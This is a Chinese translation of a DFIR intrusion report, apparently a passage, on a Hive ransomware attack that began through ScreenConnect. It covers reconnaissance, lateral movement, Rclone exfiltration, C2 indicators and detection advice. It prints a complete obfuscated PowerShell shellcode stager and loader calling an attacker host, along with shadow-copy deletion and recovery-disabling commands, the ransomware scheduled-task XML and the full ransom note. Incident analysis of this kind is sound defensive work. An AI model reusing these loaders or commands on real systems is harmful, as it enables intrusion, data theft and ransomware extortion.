【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Cobalt Strike

Cobalt Strike DLL进程运行后,攻击者使用以下命令收集域信息:

cmd.exe /C nltest /dclist:cmd.exe /C nltest /DOMAIN_TRUSTScmd.exe /C nltest /domain_trusts /all_trusts

quser

后来,在整个入侵过程中,攻击者利用 Metasploit 上的 ImpacketWMIEXEC 类来使用 quser 命令发现活动用户会话。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

adcomp.bat

我们还观察到攻击者正在运行名为 adcomp.bat 的 批处理 脚本,以便枚举域控制器上的主机名称、操作系统版本、IP 地址和其他信息。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

该脚本的内容是以下 PowerShell 命令:

powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address

Netping

我们观察到攻击者在入侵的第三天早些时候投放了一个名为 netping.exe 的二进制文件,按照Sysmon 进程创建日志中的记载,攻击者执行后立即删除了该二进制文件。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

尽管Sysmon的网络活动日志并不记录ICMP行为,但从流量侧我们可以发现这台主机在扫描一个C段网络。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Netscan

SoftPerfect 的 NetScan 在多次入侵报告中都是网络发现的首选工具。 这次,攻击者在入侵的第三天将其部署以执行 RDP(端口 3389)扫描。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

手动执行的操作

在文件服务器上,我们发现攻击者在窃取文件的同时浏览了多个文件夹, 这可以通过使用 Eric Zimmerman 的ShellBags Explorer检查 ShellBags 注册表观察到。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

08
横向移动
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Remote Desktop Protocol

在RDP扫描完成后,攻击者开始使用RDP进行横向移动,我们发现RDP登录的源主机名都保持一致:WIN-RRRU9REOK18

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

在 RDP 连接之间,有一些重新连接的记录,如登录类型 7(Unlock)所示,表明文件共享和备份服务器上发生了其他 RDP 活动。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

WMIEXEC

如前所述,攻击者利用 ImpacketWMIEXEC来执行横向移动(特别是执行)。 可以通过进程创建事件(例如 Sysmon 事件 1)中可用的模式组合来检测此类活动,这些模式已由CrowdStrike发布

  • 执行命令cmd.exe /Q /c 开头

  • 执行命令以重定向结尾1> \127.0.0.1{{share}}{{output}} 2>&1 ,其中输出包含时间戳。

  • 父进程为wmiprvse.exe

以下捕获是攻击者发起的 WMI 支持的执行的子集。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Remote Services

在整个入侵过程中,攻击者依靠远程服务进行横向移动。 常用的策略之一是通过 SMB 部署恶意文件(在本例中为 DLL),然后通过远程服务执行。

作为通过 SMB 创建文件的一部分,安全日志的事件 5145(检查网络共享对象以查看是否可以授予客户端所需的访问权限)会保留在采取 SMB 操作之前执行的访问痕迹。 如下所示,5145 事件提供了有价值的网络共享信息,例如哪个用户尝试执行操作以及从何处执行操作。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

同样,这些文件创建事件也可以通过网络日志(例如 Zeek 的 smb_files 事件)进行检测。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

通过 SMB 创建文件后,系统事件 7045 将记录服务安装。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

我们认为此次入侵中,Cobalt Strike DLL进程连接的C2 为 23.108.57[.]83:443 (sodiwugoc[.]com)

无文件

除了 DLL 之外,攻击者还执行了一项无文件横向移动,其中远程服务触发了以下 PowerShell stager。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

C:Windowssystem32cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'syswow64WindowsPowerShellv1.0powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAOZQUWMCA7VWbW/aSBD+nEj5D1aFZFshGAfaNJEq3ZpXE5xADATCodNir+2FtQ32GgK9/vcbg52m17RqTzorL+vdmdmZZ56ZsZMEFqdhIJBJXfh8dnrSwxH2BanAW4uiUOADP1rLJydwUAjeC58EaYpWq3roYxrMbm5qSRSRgB/fSy3CURwTf84oiSVZ+Ft49EhELu7nC2Jx4bNQ+KvUYuEcs0xsV8OWR4QLFNjpWTe0cOpLyVwxyiXxzz9FeXqhzkqNdYJZLInmLubEL9mMibLwRU4vHOxWRBINakVhHDq89EiDymVpGMTYIXdgbUMMwr3QjkUZYoCfiPAkCgSIJlU/HkoiLHtRaCHbjkgci0VhmhqezmZ/SNPs1ock4NQnJT3gJApXJok21CJxqY0Dm5EH4sxAy+QRDdyZLIPYJlwSqRAkjBWF3zEj3ZFtjtmvKkmvlUCqxyO5CFn8LkojtBNGjnriG26meZfheck9wPbl7PTs1MmJ4rHXPIHVyfSwJuCa1AtjepD6JJSLggHXYB5GO3gtDKKEyLMXYIXCrv/wUPyxvpoLg+jWgo3pKKT2DBSyTBY2w9TwTwhZJw4NSH0XYJ9aOeekt/AlDiOH8Eq52B14JInZAbHrhBEX8xSzNM3fqTV8yl90tYQym0TIghzF4BWkT/7WmWMaJFEPDOIDQMd34F3BAaaTXDpj9y6/PX0HIbHGcBwXhV4CpWYVBZNgRuyigIKYZkco4eFhKX5110gYpxaOeW5uJmcwZtfVwiDmUWJByiD0gbkiFsUsRaIotKlNtJ1J3fxa8U0capgxqACwtIE8wE4av8lTIkTg4SHpcskkXPdXjPggcyj5JsMuFHjG8wNzsEts8V8O5kQ+sjZFIofglXuQXpOFvCiMaMShcaSobq3/dverhpF6UYtIlgUpr4uptuMpnwse73yspXzMQDlAEHEIvxmFvoZj8qF6bA/SO+We1hA8Ez1ghqUtqYq2VNUN+B3Sih7Wr+zbzqKtRPVnz0F6rBvtXr3fblc3HXNU5WZD57c9nRuN8WJhovbDcMKfdNQe0PJyUt2vOnRvdpE9eVY+7LX9tqw97xeu7UzqjuNeOeaD+r5Ju4+1vla+xN16I+k+alutXI0bdNvu02F/2Wny+WTE8NBR3LF6jelzN1qM1NDY6wi1vIq17zijlmfYu0mbkoVS7tI+6iN0az0Mhy135bZipFyP1ggGwIfapoORjhqjXec90/rDpoaGDa2P78Ne5byuqE/2utF8GuOOz+xWW1EnY2SjSBm4nnp17wUpTtjV1loqg7pPu6YCMr0qalcv6f5p3W+5qAEyIz9EuEmXw/Mx2LwbgM7jULVDxAN9rCgjV3GRY3oTjDSQ1taoqYW13cee0VNGo0tPnS9VD3wm481Ho4POm1ZPUZRzfw5/FWQZq+dgrG2vNm7bDG/xLR5tniqKOti2HLRG5+eaqs15u1HpbODegXI9/PQu5Q8QqBA8Xr+ixY9auYGj2MMM6AJdOi/QZhg1s77bC2mqIUnpoF6SKCAMBh2MwpzmiLHQSps+NGgYN8chkM6kISwrl2+uZOFFUP46DPKtm5sncBEK50DtUpcELveK5edKuQzNvfxcLUOIvx5XLVztpKOtYjodUmBejLODcTmtqEI818P/FbGsjD34Z/8csa97Pzn9JRTLxUO83+1+u/FbgP5u2I+YchA0oQUxchyAb0WfUePVx0GaEMi7kz3pl919wi/u4Jvh7PQfmcFDmkIKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"

使用 PowerShell 日志的事件 4104(PowerShell 脚本跟踪和日志记录的一部分),可以恢复解码的 PowerShell,在本例中,PowerShell 将 shellcode 执行到 PowerShell 进程本身中。

function eYD {  Param ($tGj, $tTmrq)      $n5 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  return $n5.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($n5.GetMethod('GetModuleHandle')).Invoke($null, @($tGj)))), $tTmrq))}function hl {  Param (    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $yQRR,    [Parameter(Position = 1)] [Type] $wc = [Void]  )  $vUy = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])  $vUy.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $yQRR).SetImplementationFlags('Runtime, Managed')  $vUy.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wc, $yQRR).SetImplementationFlags('Runtime, Managed')  return $vUy.CreateType()}[Byte[]]$htJ8C = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqAWhe6CvJaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")$nW9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll VirtualAlloc), (hl @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $htJ8C.Length,0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($htJ8C, 0, $nW9, $htJ8C.length)$sbIo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll CreateThread), (hl @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$nW9,[IntPtr]::Zero,0,[IntPtr]::Zero)[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll WaitForSingleObject), (hl @([IntPtr], [Int32]))).Invoke($sbIo,0xffffffff) | Out-Null

与之前的 shellcode 的情况一样,该 stager 加载来自 94.232.43[.]201:4444 的 websockets 响应载荷

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

09
数据窃取
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

两天零 11 小时后,攻击者将 Rclone 投放到文件服务器上,并通过 SFTP 将多个文件外发到 190.2.146[.]96:22 。 命令中的拼写错误以及泄露文件所需的时间表明泄露是手动操作的

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

在具备检测能力的网络中,这种数据外泄是极容易发现的,因为流量会突然剧增,显示出异常。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

我们在之前的几份报告中记录了 Rclone 的使用情况。 此外,NCC Group 的这篇博客是了解通过 Rclone 进行的数据外泄并使用 Sigma 规则检测此活动的重要资源。

10
远程控制
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

在整个入侵过程中,攻击者建立了多个C2。 一些远控依赖于合法的 RMM 服务(ScreenConnect、Atera 和 Splashtop),而其他工具则常见于攻击入侵(Cobalt Strike、Metasploit)。 以下时间序列(对数刻度)概述了不同工具生成的流量,突出显示了它们的部署和使用顺序。

最有趣的是,仅从网络角度来看,在数据窃取和目标达成阶段之前的几小时/分钟内观察到活动的急剧异常增加。 这种没有新感染的 C2 模式为事件响应者提供了对手意图即将发生变化的潜在迹象。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

从上述对数尺度来看,大约 1 小时 30 分钟的 Rclone 渗漏占攻击者产生的网络流量的 90% 以上。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Cobalt Strike

IP

Port

Domain

JA3

JA3s

31.41.244.192

80

N/A

N/A

N/A

23.108.57.83

443

sodiwugoc[.]com

a0e9f5d64349fb13191bc781f81f42e1

ae4edc6faf64d08308082ad26be60767

SSL Certificate SHA256

95C86AC5CE23ABA5133F61CA0D2D637F74105FA05E88D232141F057A1DF7DD8B

Certificate Subject

sodiwugoc[.]com

Certificate Issuer

Sectigo Limited

Not Before

2022-10-19 00:00:00 UTC

Not After

2023-10-19 23:59:59 UTC

Public Algorithm

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

Metasploit

IP

Port

94.232.43.201

4433

94.232.43.201

4444

ScreenConnect

IP

Port

Domain

145.40.113.124

443

server-nixd7639ccc-relay[.]screenconnect[.]com

147.75.84.232

443

server-nixee656b9a-relay[.]screenconnect[.]com

12
达成目标
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

完成数据窃取后,攻击者就进入了最终阶段。 首先,他们更改了管理员帐户的密码,一小时后,他们开始部署勒索软件。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

从以下进程创建日志中可以看出,勒索软件既通过C2执行,又通过打开命令解释器 (cmd.exe) 以交互方式执行。 一旦关键系统被加密,攻击者就会通过最终的网络共享加密(仅限网络)来完成其最终目的。

为了避免威胁情报公司在样本在线泄露时进行分析,勒索软件可执行文件要求通过命令行参数 -u 提供身份凭据。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

作为加密的一部分,勒索软件通过删除所有卷影副本和更改启动设置来抑制系统恢复。

"C:WindowsSystem32wbemWMIC.exe" shadowcopy delete"C:WindowsSystem32vssadmin.exe" delete shadows /all /quiet"C:WindowsSystem32bcdedit.exe" /set {default} recoveryenabled No"C:WindowsSystem32bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures

加密后,勒索信将写入 C:UsersDefaultHOW_TO_DECRYPT.txt,当访问该文件时,会发现勒索软件操作是现在被捣毁的 Hive。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

Your network has been breached and all data were encrypted.Personal data, financial reports and important documents are ready to disclose.To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/you will need to purchase our decryption software.Please contact our sales department at:   http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/      Login:    REDACTED      Password: REDACTEDTo get an access to .onion websites download and install Tor Browser at:   https://www.torproject.org/ (Tor Browser is not related to us)Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key files. Your data will be    undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business.   They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key.    They also don't care about your business. They believe that they are   good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

为了实现全AD域加密,攻击者尝试部署组策略对象 (GPO)。 可以通过使用 gpme.msc(组策略管理编辑器)来观察此 GPO 的创建。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

文件创建事件突出显示攻击者如何针对新创建的组策略在用户配置中创建计划任务。 此计划任务旨在每天从网络共享执行勒索软件。 然而,此设置无法在域范围内部署勒索软件,因为应在计算机配置中定义此类计划任务。 这导致仅在威胁行为者手动运行勒索软件的主机上成功加密。

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">    <Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="REDACTED" image="0"        changed="REDACTED" uid="{EA5805D5-A098-423E-A5C7-6CD05F23F46F}">        <Properties action="C" name="REDACTED" appName="cmd.exe"            args="/c \REDACTEDnetlogonwindows_x64_encrypt.exe -u REDACTED:REDACTED"            startIn="" comment="" enabled="1">            <Triggers>                <Trigger type="DAILY" startHour="REDACTED" startMinutes="0" beginYear="REDACTED"                    beginMonth="REDACTED" beginDay="REDACTED" hasEndDate="0" repeatTask="0" interval="1" />            </Triggers>        </Properties>    </Task></ScheduledTasks>
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
时间线
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件
钻石模型
【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

原文始发于微信公众号(Desync InfoSec):【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日11:05:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【DFIR报告翻译】61小时从ScreenConnect 远控到部署Hive勒索软件http://cn-sec.com/archives/2079253.html

发表评论

匿名网友 填写信息